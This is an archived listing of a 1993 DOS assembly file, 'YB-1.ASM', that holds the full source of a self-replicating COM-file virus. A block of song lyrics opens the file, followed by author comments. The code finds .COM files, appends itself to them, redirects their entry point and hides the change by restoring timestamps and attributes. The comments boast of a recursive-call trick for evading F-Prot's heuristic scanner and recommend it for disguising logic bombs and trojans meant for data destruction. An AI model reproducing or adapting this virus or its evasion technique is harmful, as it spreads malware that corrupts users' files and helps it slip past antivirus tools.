home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / KTUPDAT3.ZIP / YB-X.ZIP / YB-X.ASM next >
Encoding:
Assembly Source File  |  1993-08-15  |  14.3 KB  |  407 lines

  1. comment #  
  2.  
  3.   PRE-IGNITION
  4.   Hey you...
  5.   Tell me, what's your call name
  6.   Closed, negative display
  7.   Engaged on section three
  8.   The acrid factories
  9.   You...
  10.   Putrid perfect product
  11.   Proper platinum parts
  12.   Proficient prototypes
  13.   Steadily spew from these pipes
  14.   Are you...
  15.   The prime automaton
  16.   Christened as YB-1
  17.   Hey you...
  18.   Generated by waste
  19.   Arid quarry displaced
  20.   Enviro-mental squeeze
  21.   Aluminum disease
  22.   You...
  23.   Conscious of origin
  24.   Intention in the wind
  25.   Atmosphere infected
  26.   Descendants defected
  27.   Are you...
  28.   Novel stroke of design
  29.   Or relics from this mine
  30.   Casually, choke,
  31.   Noxious nourishment
  32.   Embodied, illicit cure
  33.   Ground and rock and sand
  34.   Come crumble tumble down
  35.   Grinding round
  36.   The hydraulic wheel
  37.   Extraction,
  38.   For ultimate greed
  39.   Now... hidden from view
  40.   Surveying stable shifts
  41.   A feeble groove
  42.   Unintentional split
  43.   Then they return to work
  44.   As if they're not disturbed
  45.   Cybernetic beings
  46.   Omniscient regiment
  47.   Thriving with vigor
  48.   Incessant loop
  49.   An assumed order
  50.   Auspicious tool
  51.   Frantically, flow
  52.   Spumous sediment
  53.   Remedied, neurotic fuse
  54.   Ground and rock and sand
  55.   Come crumble tumble down
  56.   Yonder sound, an echoing gong
  57.   Disjunction
  58.   Of their disowned song
  59.   Now... some are set free
  60.   Emotions flood their gaze
  61.   Synthetic breed
  62.   The pre-ignition phase
  63.   Pre-ignition
  64.   Flares up in you
  65.   Pre-ignition
  66.   Provokes me too.
  67.  
  68. #
  69.  
  70. ;**********************************************************************
  71. ; YB-1.ASM
  72. ; AUTHOR:  Köhntark
  73. ; SURGEON: Urnst Kouch
  74. ;
  75. ; Yes, another 'unremarkable' virus . . . it still will put a few more
  76. ; dollars in the accounts of the AV industry . . .
  77. ;**********************************************************************
  78.  
  79. ;This virus is a simple demonstrator with a series of 'nothing' CALLS
  80. ;on virus entry which point to a end segment of recursive code which 
  81. ;are is sufficient to foil F-Prot's 'heuristic'mode. It's not elegant 
  82. ;clever or pretty or particularly smart, but it works. However,
  83. ;it's clear that such an arrangement of code can quickly make almost
  84. ;ANY direct action virus invisible to cursory F-Prot scanning
  85. ;which attempts to identify suspicious code on its similarity to viral
  86. ;patterns.  The utility depends upon circumstance.  In practice,
  87. ;we find almost no one but virus writers and anti-virus researchers
  88. ;use the 'heuristic' features of commercial programs.  And very few
  89. ;of them actually pay for the software, so it can hardly be considered
  90. ;'real world'.  By contrast, it has been our experience that few 
  91. ;administrators or PC herdsmen have the patience or time to interpret
  92. ;heuristic analyses across numerous minutely different, yet
  93. ;idiosyncratic operating systems and platforms.  The 'anti-heuristic' code
  94. ;practicality, then, lies - we feel - mostly in disguising direct
  95. ; action viruses, --------->
  96. ;logic bombs or trojan programs for quick acts of data mutilation or
  97. ;pure harrassment.  By looking at the simple implementation in YB-1/
  98. ;Handsome Dick Manitoba virus, it's clear that this kind of disguise
  99. ;is barely 5 minutes of work for even the feeblest programmer, hence
  100. ;its utility in the above categories.  In the long run, it's not
  101. ;likely to mean much difference in viral spread, although,
  102. ;it may have made a difference if included in the "Goddamn Butterflies"
  103. ;virus which was distributed in Telemate shareware packages.  Most
  104. ;warnings were issued by sysops who had scanned the Telemate programs
  105. ;with F-Prot in its 'heuristic' mode, which correctly pointed out
  106. ;the nature of the virus infection.  Including the outlined code from
  107. ;Handsome Dick Manitoba/YB-1, below, in the same "Goddamn Butterflies"
  108. ;virus, renders it invisible to scanning under the SAME conditions.
  109. ;This particular example does not get past TBScan's heuristic mode
  110. ;which works differently than F-Prot.  
  111.  
  112. ;-Urnst
  113.  
  114. MAIN    SEGMENT BYTE
  115.         ASSUME cs:main,ds:main,ss:nothing      ;all part in one segment=com file
  116.         ORG    100h
  117.  
  118. ;**********************************
  119. ;  fake host program
  120. ;**********************************
  121.  
  122. HOST:
  123.         db     0E9h,0Ah,00          ;jmp    NEAR PTR VIRUS
  124.         db     ' '
  125.         db     090h,090h,090h
  126.         mov    ah,4CH
  127.         mov    al,0
  128.         int    21H                 ;terminate normally with dos
  129.  
  130. ;═════════════════════════════════════════════════════════════════════════════
  131.  
  132. ;**********************************
  133. ; VIRUS CODE STARTS HERE
  134. ;**********************************
  135.  
  136.  
  137. VIRUS:                            ;a label for the first byte of the virus
  138.  
  139.             call ANTI_HEUR        ;30 cents worth of anti-F-Prot type
  140.             call ANTI_HEUR        ;heuristic analysis measures
  141.             call ANTI_HEUR        ;the key is the 'recursive' nature of
  142.             call ANTI_HEUR        ;the code pointed to be the ANTI-HEUR
  143.             call ANTI_HEUR        ;calls.  When a certain threshold of
  144.             call ANTI_HEUR        ;interior 'twisting' - bytewise - occurs
  145.             call ANTI_HEUR        ;F-Prot gives up in heuristic mode.
  146.             call ANTI_HEUR        ;It's not elegant, but it's cheap
  147.             call ANTI_HEUR        ;insurance which
  148.             call ANTI_HEUR        ;works.
  149.             
  150.             call GET_ENTRY_PT   ;<--when call is performed absolute address goes to stack
  151.                                 ;in addition, it is unlikely these bytes will
  152. GET_ENTRY_PT:                   ;be used for signature recognition - unless
  153.             pop  si             ;someone is criminally stupid.
  154.             sub  si,GET_ENTRY_PT - VIRUS  ;fix absolute address
  155.  
  156. ;************************************           
  157. ; restore 4 original bytes to file
  158. ;************************************
  159.            
  160.            push si                                ;save si
  161.            cld                                    ;clear direction flag
  162.            add  si,START_CODE-VIRUS
  163.            mov  di,0100h
  164.            movsw                                  ;this is shorter & faster than 
  165.            movsw                                  ;mov cx,04 and rep movsb
  166.            pop  si                                ;restore si
  167.  
  168.            call ANTI_HEUR      ;another 30 cents worth of anti-F-Prot
  169.            call ANTI_HEUR
  170.            call ANTI_HEUR
  171.            call ANTI_HEUR
  172.            call ANTI_HEUR
  173.            call ANTI_HEUR
  174.            call ANTI_HEUR
  175.            call ANTI_HEUR
  176.            call ANTI_HEUR
  177.            call ANTI_HEUR
  178.  
  179. ;************************************
  180. ; redirect DTA onto virus code
  181. ;************************************
  182.            
  183.    lea  dx,[si+ DTA - VIRUS]              ;put DTA at the end of the virus for now
  184.    mov  ah,1ah                            ;set new DTA function
  185.    int  21h
  186.  
  187. ;************************************
  188. ; Routines called from here           
  189. ;************************************
  190.  
  191.            call FIND_FILE       ;get a com file to attack!
  192.  
  193. ;═════════════════════════════════════════════════════════════════════════════
  194.  
  195. EXIT_VIRUS:
  196.            
  197. ;************************************
  198. ; set old  DTA  address
  199. ;************************************
  200.  
  201.            mov ah,1ah
  202.            mov dx,80h            ;fix dta back to return control to
  203.            int 21h               ;host program
  204.  
  205. EXIT_VIRUS2:
  206.  
  207. ;****************************************************************
  208. ; zero out registers for return to
  209. ; host program
  210. ;****************************************************************
  211.  
  212.  mov  si,0100h     
  213.  xor  bx,bx        ;zero regs
  214.  xor  ax,ax
  215.  cwd
  216.  push si           ;save return address in stack
  217.  xor  si,si
  218.  xor  di,di
  219.  xor  cx,cx
  220.  ret               ;back to com host
  221.  
  222. ;═════════════════════════════════════════════════════════════════════════════
  223.  
  224. ANTI_HEUR:                       ;25 cents worth of anti-heuristic
  225.                 jmp  $ + 2       ;virus strategy.  Nothing code
  226.                 call dolt
  227.                 call dolt 
  228.                 call dolt
  229.                 call dolt
  230.                 
  231.                 ret              ;sufficient to flummox analysis.
  232. DOLT:           jmp $ + 2
  233.                 call dolt2       ;by recursively twisting the flow
  234.                 call dolt2       ;of virus instructions until the
  235.                 call dolt2       ;rules of F-Prot are
  236.                 call dolt2       ;by-passed.  Actually, you can 
  237.                 ret
  238. DOLT2:          jmp $ + 2
  239.                 call dolt3       ;probably use much more elegant code,
  240.                 call dolt3       ;but the point to be made is one of
  241.                 call dolt3       ;speed of implementation and simple
  242.                 call dolt3       ;code additions which will not complicate
  243.                 ret              ;the work of the virus or necessitate
  244. DOLT3:          jmp $ + 2        ;altering any of its actual "action"
  245.                 ret              ;code
  246.  
  247. ;═════════════════════════════════════════════════════════════════════════════
  248.  
  249. FIND_FILE:
  250.                 
  251.                 lea  dx,[si + FILES_TO_INFECT - VIRUS] 
  252.                 mov  ah,4eh   ;do DOS search 1st function
  253.                 mov  cx,3fh   ;search for any file, with any attributes
  254.  
  255. NEXT_FILE:      int  21h
  256.                 jc   NO_MO               ;return if not zero
  257.                 call CHECK_N_INFECT_FILE ;check file if file found
  258.                 mov  ah,4fh              ;file no good..find next function
  259.                 jmp  NEXT_FILE           ;test next file for validity
  260.  
  261. NO_MO:
  262.                 ret
  263.  
  264. ;═════════════════════════════════════════════════════════════════════════════
  265.  
  266. CHECK_N_INFECT_FILE:
  267.  
  268. ;*********************************************
  269. ; 1-Set attributes
  270. ;*********************************************
  271.        
  272.        lea dx,[si + DTA_File_Name - VIRUS]
  273.        xor cx,cx                              ;clear attributes
  274.        mov ax,4301h                           ;set file attributes to cx
  275.        int 21h
  276.        jc  NO_GOOD                            ;error.. quit
  277.  
  278. ;*****************
  279. ; 2-OPEN FILE
  280. ;*****************
  281.  
  282.             mov  ax,3D02h                                ;r/w access to it
  283.             int  21h
  284.             xchg bx,ax                                   ;bx = file handle
  285.  
  286. ;********************
  287. ; 3-Read 1st 5 bytes
  288. ;********************
  289.             
  290.             mov  cx,5                                       ;read first 5 bytes of file
  291.             lea  dx,[si + START_CODE - VIRUS] ;store'em here
  292.             mov  ah,3Fh                                     ;DOS read function
  293.             int  21h
  294.             jc   NO_GOOD                                    ;error? get next file
  295.  
  296. ;*********************
  297. ; 4-CHECK FILE
  298. ;*********************
  299.             
  300.             mov  ax,WORD PTR [si + DTA_File_Size - VIRUS] ;get file's size
  301.             add  ax,FINAL - VIRUS + 232d + 1640d + 100h   ;add virus size to it
  302.             jc   NO_GOOD                                  ;bigger then 64K:nogood
  303.             
  304.             cmp  WORD PTR [si + START_CODE - VIRUS],'ZM' ;EXE file?
  305.             je   NO_GOOD                                 ;no? good
  306.  
  307.             cmp  BYTE PTR [si + START_CODE - VIRUS],0E9H ;compare 1st byte to near jmp
  308.             jne  INFECT                                  ;not a near jmp, file ok
  309.  
  310.             cmp  BYTE PTR [si + START_CODE+3 - VIRUS],20h  ;check for ' '
  311.             je   NO_GOOD                                   ;file ok .. infect
  312.             jmp  short  INFECT
  313.  
  314. NO_GOOD:
  315.         jmp  GET_OUT
  316.  
  317. INFECT:
  318.  
  319. ;*********************        
  320. ; 5-set PTR @EOF
  321. ;*********************
  322.         
  323.         mov  ax,4202H
  324.         xor  cx,cx                            ;prepare to write virus on file
  325.         cwd                                   ;position file pointer,cx:dx = 0
  326.         int  21h
  327.  
  328. ;*********************        
  329. ; 6-Write Virus
  330. ;*********************
  331.          
  332.          mov  dx,si                                ;write from here
  333.          mov  cx,FINAL - VIRUS                      
  334.          mov  ah,40h
  335.          int  21h                                  ;since ds does not equal cs yet
  336.  
  337. ;*********************        
  338. ; 7-set PTR @BOF
  339. ;*********************
  340.         
  341.         mov  ax,4200h                         ;locate pointer at beginning of host
  342.         xor  cx,cx                           
  343.         cwd                                   ;position file pointer,cx:dx = 0
  344.         int  21h
  345.  
  346. ;******************************************
  347. ; 8-write new 4 bytes to beginning of file
  348. ;******************************************
  349.         
  350.         mov  ax,WORD PTR [si + DTA_File_SIZE - VIRUS]  
  351.         sub  ax,3
  352.         mov  WORD PTR [si + START_IMAGE+1 - VIRUS],ax
  353.         
  354.         mov  cx,4                                 ;#of bytes to write
  355.         lea  dx,[si+ START_IMAGE - VIRUS]         ;ds:dx=pointer of data to write
  356.         mov  ah,40h                               ;DOS write function
  357.         int  21h
  358.  
  359. ;*************************************************        
  360. ; 9-Restore date and time of file to be infected
  361. ;*************************************************
  362.  
  363.         mov  ax,5701h
  364.         mov  dx,WORD PTR [si + DTA_File_DATE - VIRUS]
  365.         mov  cx,WORD PTR [si + DTA_File_TIME - VIRUS]
  366.         int  21h
  367.  
  368. ;****************        
  369. ; 10-Close File 
  370. ;****************
  371.  
  372. GET_OUT:  
  373.         mov  ah,3Eh
  374.         int  21h
  375.  
  376. ;*************************************************
  377. ; 11-Restore file's attributes
  378. ;*************************************************
  379.  
  380.        lea dx,[si + DTA_File_Name - VIRUS]    ;get filename
  381.        mov cx,[si + DTA_File_ATTR - VIRUS]    ;get old attributes
  382.        mov ax,4301h                           ;set file attributes to cx
  383.        int 21h
  384.        ret                                    ;infection done!
  385.  
  386. ;═════════════════════════════════════════════════════════════════════════════
  387.  
  388. NAME_AUTHOR     db  'YB-1 & Handsome Dick Manitoba / Köhntark'         ;ID
  389. FILES_TO_INFECT db  '*.COM',0
  390. START_CODE      db  090h,090h,090h,090h,090h  ;area to store 5 bytes to w/r from / to file
  391. START_IMAGE     db  0E9h,0,0,020h
  392.  
  393. DTA             db 21 dup(0)  ;reserved
  394. DTA_File_Attr   db ?
  395. DTA_File_Time   dw ?
  396. DTA_File_Date   dw ?
  397. DTA_File_Size   dd ?
  398. DTA_File_Name   db 13 dup(0)
  399.  
  400. ;═════════════════════════════════════════════════════════════════════════════
  401.  
  402. FINAL:                ;label of byte of code to be kept in virus when it moves
  403.  
  404. MAIN ENDS
  405.      END    HOST
  406.  
  407.